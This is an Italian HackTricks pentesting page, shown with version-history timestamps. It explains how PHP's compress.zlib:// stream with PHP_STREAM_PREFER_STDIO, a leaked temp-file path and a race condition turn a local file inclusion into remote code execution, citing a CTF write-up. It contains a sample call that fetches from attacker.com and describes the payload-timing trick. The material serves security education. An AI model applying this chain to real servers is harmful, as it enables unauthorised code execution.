hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

64 lines
4.3 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:03:23 +00:00
## `compress.zlib://` e `PHP_STREAM_PREFER_STDIO`
2022-04-21 00:07:27 +00:00
2024-02-10 13:03:23 +00:00
Un file aperto utilizzando il protocollo `compress.zlib://` con il flag `PHP_STREAM_PREFER_STDIO` può continuare a scrivere dati che arrivano alla connessione successivamente nello stesso file.
2022-04-21 00:07:27 +00:00
2024-02-10 13:03:23 +00:00
Ciò significa che una chiamata come:
2022-04-21 00:07:27 +00:00
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
2024-02-10 13:03:23 +00:00
Invierà una richiesta chiedendo http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una valida risposta HTTP, mantenere la connessione aperta e inviare dati aggiuntivi in un secondo momento che verranno scritti anche nel file.
2022-04-21 00:07:27 +00:00
2024-02-10 13:03:23 +00:00
Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c:
2022-04-21 00:07:27 +00:00
```c
/* Use a tmpfile and copy the old streams contents into it */
2024-02-10 13:03:23 +00:00
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
2022-04-21 00:07:27 +00:00
```
2024-02-10 13:03:23 +00:00
## Race Condition per RCE
2022-04-21 00:07:27 +00:00
2024-02-10 13:03:23 +00:00
[**Questo CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) è stato risolto utilizzando il trucco precedente.
2022-04-21 00:07:27 +00:00
2024-02-10 13:03:23 +00:00
L'attaccante farà sì che il **server vittima apra una connessione leggendo un file dal server dell'attaccante** utilizzando il protocollo **`compress.zlib`**.
2022-04-21 00:07:27 +00:00
2024-02-10 13:03:23 +00:00
**Mentre** questa **connessione** esiste, l'attaccante **esfiltrerà il percorso** del file temporaneo creato (viene rivelato dal server).
2022-04-21 00:07:27 +00:00
2024-02-10 13:03:23 +00:00
**Mentre** la **connessione** è ancora aperta, l'attaccante sfrutterà una LFI caricando il file temporaneo che controlla.
2022-04-21 00:07:27 +00:00
2024-02-10 13:03:23 +00:00
Tuttavia, c'è un controllo nel server web che **impedisce il caricamento di file che contengono `<?`**. Pertanto, l'attaccante sfrutterà una **Race Condition**. Nella connessione che è ancora aperta, l'**attaccante** invierà il payload PHP DOPO che il **web server** ha **controllato** se il file contiene i caratteri vietati ma **PRIMA** che carichi il suo contenuto.
2022-04-21 00:07:27 +00:00
2024-02-10 13:03:23 +00:00
Per ulteriori informazioni, consulta la descrizione della Race Condition e del CTF su [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>